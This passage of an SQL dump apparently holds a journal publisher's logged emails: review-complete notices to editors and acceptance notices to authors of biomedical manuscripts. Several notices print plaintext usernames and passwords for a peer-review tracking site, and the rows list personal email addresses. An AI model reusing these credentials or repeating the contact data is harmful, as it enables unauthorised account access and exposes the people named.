Corresponding Author: <b>Monalisha Jena</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-21-12104</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sudhanshu<br />\r\n            <b>Password:</b> XjaPr9HC<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','sekharsudhansu@hotmail.com',12104,'2022-07-27',988),(4103,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-12104</b><br />\r\n            <br />\r\n            Article Title: <b>OVERVIEW ON IRON OXIDE MAGNETIC NANOPARTICLES AND POLYOL METHOD OF SYNTHESIS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Jena</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-07-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','monalishajena525@gmail.com',12104,'2022-07-27',988),(4104,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12819</b><br />\r\n            <br />\r\n            Article Title: <b>A review on smallpox</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Muhammad </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-07-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','muhammadkalemullah70@gmail.com',12819,'2022-07-27',988),(4105,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-12177</b><br />\r\n            <br />\r\n            Article Title: <b>Recent Progress on Hepatitis C Vaccine Development: A Systematic Review </b><br />\r\n            <br />\r\n            Corresponding Author: <b>princess, sumana, derek halm, kondle, sun</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-21-12177</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sudhanshu<br />\r\n            <b>Password:</b> XjaPr9HC<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','sekharsudhansu@hotmail.com',12177,'2022-07-27',988),(4106,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-12177</b><br />\r\n            <br />\r\n            Article Title: <b>Recent Progress on Hepatitis C Vaccine Development: A Systematic Review </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>halm, kondle, sun</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-07-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','savannahhalm@gmail.com',12177,'2022-07-27',988),(4107,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12858</b><br />\r\n            <br />\r\n            Article Title: <b>?-Amyloid Peptide and the Alzheimer&rsquo;s Disease</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Dr. Tshetiz Dahal</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-22-12858</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',12858,'2022-07-29',75),(4108,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12859</b><br />\r\n            <br />\r\n            Article Title: <b>Role of Neurological and Neuropsychiatric Comorbidities in the Long-Term Outcome of Severe Paediatric Feeding and Eating Disorders &acirc;&euro;&ldquo; Parent perspectives</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Blank</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-07-30</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lydiiablank@gmail.com',12859,'2022-07-30',75),(4109,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12781</b><br />\r\n            <br />\r\n            Article Title: <b>PROSPECT OF BUTTON MUSHROOM (Agaricus bisporus (J.E. Lange) Imbach) AND SHITAKE (Lentinula edodes (Berk) Pegler) AS AN ANTIBACTERIAL AND COLORECTAL ANTI-CANCER</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rossiana</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-08-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','niarossiana@yahoo.com',12781,'2022-08-02',988),(4110,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12838</b><br />\r\n            <br />\r\n            Article Title: <b>Strengthening Community Clinics of Bangladesh through Telemedicine &amp; Interconnected Medical Facilities.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hossain</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-08-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','tarekphysust@gmail.com',12838,'2022-08-02',988),(4111,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12862</b><br />\r\n            <br />\r\n            Article Title: <b>Serum antioxidant status of induced preeclamptic Wistar rats exposed to methanolic leaf extracts of some selected herbal plants</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Atoe</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-08-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','atoe.kenneth@edouniversity.edu.ng',12862,'2022-08-02',988),(4112,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12838</b><br />\r\n            <br />\r\n            Article Title: <b>Strengthening Community Clinics of Bangladesh through Telemedicine &amp; Interconnected Medical Facilities.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hossain</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-08-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','tarekphysust@gmail.com',12838,'2022-08-02',988),(4113,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12885</b><br />\r\n            <br />\r\n            Article Title: <b>SERUM PROTEIN AND SERUM ELECTROLYTE LEVELS IN MYELOPROLIFERATIVE DISORDER PATIENTS</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Emmanuel Obeagu</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-22-12885</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sudhanshu<br />\r\n            <b>Password:</b> XjaPr9HC<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','sekharsudhansu@hotmail.com',12885,'2022-08-03',988),(4114,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12885</b><br />\r\n            <br />\r\n            Article Title: <b>SERUM PROTEIN AND SERUM ELECTROLYTE LEVELS IN MYELOPROLIFERATIVE DISORDER PATIENTS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Obeagu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-08-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','emmanuelobeagu@yahoo.com',12885,'2022-08-03',988),(4115,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12918</b><br />\r\n            <br />\r\n            Article Title: <b>Urinary Tract Infection Prevalence among Patients Who Visited Dr. Lal Path Lab Clinical and Research Laboratory</b><br />\r\n            <br />\r\n            Corresponding Author: <b>yawar amin</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b> Ifeanyi</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-22-12918</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> obeagu,_emmanuel<br />\r\n            <b>Password:</b> Pi0o0JgP<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','emmanuelobeagu@yahoo.com',12918,'2022-08-19',988),(4116,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12907</b><br />\r\n            <br />\r\n            Article Title: <b>PREVALENNCE OF ISOLATED AGENT IN DIARRHOEAL INFECTIONS OF CHILDREN O - 3 YEARS IN ANAMBRA STATE IN RELATION TO SEX: A SURVEY OF FIVE RURAL COMMUNITIES</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Emmanuel Obeagu</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Sharma</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-22-12907</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prabhat_k<br />\r\n            <b>Password:</b> TZTd1Vwt<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','sharmapk@chop.edu',12907,'2022-08-19',988),(4117,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12911</b><br />\r\n            <br />\r\n            Article Title: <b>CHROMIUM (CR) BIOSORPTION, FROM HIGH ENERGY BATTERY (HEB) EFFLUENT USING FUNGI</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Emmanuel Obeagu</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Sharma</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-22-12911</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prabhat_k<br />\r\n            <b>Password:</b> TZTd1Vwt<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','sharmapk@chop.edu',12911,'2022-08-19',988),(4118,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12907</b><br />\r\n            <br />\r\n            Article Title: <b>PREVALENNCE OF ISOLATED AGENT IN DIARRHOEAL INFECTIONS OF CHILDREN O - 3 YEARS IN ANAMBRA STATE IN RELATION TO SEX: A SURVEY OF FIVE RURAL COMMUNITIES</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Obeagu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-08-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','emmanuelobeagu@yahoo.com',12907,'2022-08-19',988),(4119,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12911</b><br />\r\n            <br />\r\n            Article Title: <b>CHROMIUM (CR) BIOSORPTION, FROM HIGH ENERGY BATTERY (HEB) EFFLUENT USING FUNGI</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of 